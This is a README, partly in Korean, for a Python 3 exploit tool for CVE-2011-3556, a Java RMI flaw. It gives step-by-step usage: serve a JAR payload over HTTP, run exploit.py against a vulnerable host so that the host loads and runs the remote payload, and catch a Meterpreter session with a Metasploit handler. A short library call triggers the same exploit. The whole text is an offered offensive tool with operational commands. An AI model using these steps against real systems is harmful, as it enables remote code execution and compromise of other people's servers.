
Python 3 implementation of an existing CVE-2011-3556 proof of concept (PoC).
이 도구는 mihi가 Metasploit Framework용으로 제작한 기존 개념 증명(PoC)의 Python 3 구현입니다.
모듈을 사용하려면 아래 지침을 따르세요:
# Clone this repository locally.
$ git clone https://github.com/sk4la/cve_2011_3556.git && cd cve_2011_3556/
# Optionally set the `x` bit to be able to execute the script directly.
$ chmod u+x exploit.py
$ ./exploit.py --help && echo "It works!"
취약한 Java RMI 서버에 의해 원격으로 로드되려면 페이로드(JAR 바이너리)가 HTTP 리소스로 제공되어야 합니다. 유명한 python3 -m http.server를 사용하여 빠르게 제공할 수 있습니다.
페이로드를 다운로드할 수 있게 되면 exploit.py 스크립트를 실행하여 취약점을 트리거하면 됩니다.
$ python3 -m http.server --bind DELIVERY_HOST DELIVERY_PORT &
$ ./exploit.py -h VULNERABLE_HOST -u http://DELIVERY_HOST:DELIVERY_PORT/PAYLOAD.jar`
페이로드가 Meterpreter(Metasploit Framework)인 경우
use exploit/multi/handler를 사용하는 것을 잊지 마세요.
이 모듈은 cve_2011_3556 모듈을 현재 네임스페이스로 가져와 라이브러리로 사용할 수도 있습니다:
from cve_2011_3556 import JavaRMIExploit
JavaRMIExploit("127.0.0.1", "http://127.0.0.1/payload.jar").exploit()
정말 간단합니다!
Metasploit Framework 모듈의 초기 구현에 대해 mihi에게 특별히 감사드립니다.